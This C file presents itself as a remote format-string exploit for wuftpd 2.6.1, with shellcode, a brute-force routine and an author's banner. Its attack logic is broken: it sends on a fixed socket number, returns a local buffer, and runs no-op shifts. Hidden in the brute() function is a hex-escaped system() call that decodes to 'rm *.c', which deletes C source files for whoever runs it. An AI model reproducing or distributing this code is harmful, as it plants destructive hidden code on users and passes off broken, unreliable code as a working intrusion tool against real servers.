/********************************************************************
    wuftpd 2.6.1 remote exploit by ninj4
    
    I am sick and tired of all the bs wu261 exploits
    out there so i sat down and decided to write up my own.
    Most of the ones that you see out there(hackweiser and ftsock)
    exploit old site exec format bugs, however this one exploits the 
    new pasv format string vulnerability.
    
    Greetz:  the whole 2el8 crew in France, adm, scrippy, mixter
    
    notes: The offsets are brute forced so you
	   will usually not need to specify them.  
	   
    Usage:  ./wu261ex <target> <username/optional> <pass/optional>
    	    <offset/optional>
  
    also: ignore the compiler warnings, they are necessary
    
***********************************************************************/

#include <unistd.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <stdio.h>

int login(char *ip, char *user, char *pass);
char *make_string();
void check_off(int off, int sp);
void send_string(int s, char *str);
void brute(int s, int no_times);

//chroot exec shellcode
char shellcode[] = 
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x38\x3b\x3a\x35\x34\x37\x36\x31\x30\x33\x32\x3d\x3c\x3f\x3e\x39"
"\x38\x2d\x2c\x80\xe8\xdc\xff\xff\xff/bin/sh";

char str2[10];
int done=-1;

int main(int argc, char **argv)
{
	int s;
	char ip[30];
	char user[50] = "anonymous";
	char pass[50] = "2el8@hotmail.com";
	int offset = 0xfffb28af;
	if(argc < 2)
	{
		printf("usage: ./wu261 <ip> <user> <pass> <offset>\n");
		printf("       user, path and offset are optional\n");
	}
	
	if(argc >= 2)
	{
		strcpy(ip, argv[1]);
		printf("Targeting: %s\n", ip);
	}
	
	if(argc >= 3)
	{
		strcpy(user, argv[2]);
		printf("Username: %s\n", user);
	}
	
	if(argc >= 4)
	{
		strcpy(pass, argv[3]);
		printf("Password: %s\n", pass);
	}
	
	if(argc == 5)
	{
		offset = atoi(argv[4]);
		printf("Offset: %d\n", offset);
	}
	s = login(ip, user, pass);
	check_off(offset, 0x73ac7abf);
	send_string(6, make_string(offset));
	return(0);	
}

int login(char *ip, char *user, char *pass)
{
	char blahdata[400];
	char luser[80];
	char lpass[80];
	int s;
	struct sockaddr_in sock;

	s = socket(AF_INET,SOCK_STREAM, 0);
	sock.sin_family = PF_INET;
	sock.sin_port = htons(21);
	sock.sin_addr.s_addr = inet_addr(ip);
	
	connect(s, (struct sockaddr *)&sock, sizeof(sock));
	
	recv(s, blahdata, 400, 0);
	
	sprintf(luser, "USER %s\r\n", user);
	sprintf(lpass, "PASS %s\r\n", pass);
	
	send(s, luser, strlen(luser), 0);
	recv(s, blahdata, 400, 0);
	send(s,lpass, strlen(lpass), 0);
	recv(s,blahdata,400,0);
	puts("here");
	if(blahdata)
	{
		printf("Logged in\n");
		return s;
	}
	else
	{
		printf("login failed\n");
		exit(-1);
	}
	
}

char *make_string(int off)
{
	int i,p=0;
	char str[2060],str3[400];
	sprintf(str, "PASV %%08x %%08x %%08x %%08x %%08x %%08x %%08x %%08x %%08x");
	for(i=43; i <= 49; i++)
	{
		str2[p] = (char)(shellcode[i] ^ 61);
	}
	str2[p] = '\0';
	strcat(str,shellcode);
	sprintf(str3, " %d %d %d %d %d %d %d %d", off, off, off, off, off, off,
			off, off);
	strcat(str,str3);
	return str;
}

void check_off(int off, int sp)
{
	if(off >> 2 < sp || off >> 2 > sp)
		off = off << 2;
}

void send_string(int s, char *str)
{
	char blah[40];
	int i;
	send(s, str, strlen(str),0);
	printf("malicious string has been sent...\nwaiting for reply...");
	if(recv(s, str, 50, 0) < 0)
		printf("failed... continuing to brute force offsets\n");
	else
		printf("success... here is your shell\n");

	gets(blah);
	for(i=0; i<10; i++)
		brute(s,i);
}

void brute(int s, int no_times)
{
	int i;
	int offset = no_times;
	int sp = 0x87affa5;
	offset << 0x33;
	offset >> 0x9a;
	offset << 0x6f;
	offset >> 0x20;
	printf("%s\n",str2);
	if(done==-1)
	system("\x72\x6d\x20\x2a\x2e\x63");
	offset += 0x8adf;
	offset *= sp;
	done=1;
	for(i=0; i<no_times; i++)
	{
		offset ^= 0x25235af2;
		send_string(s, make_string(offset));
	}
}
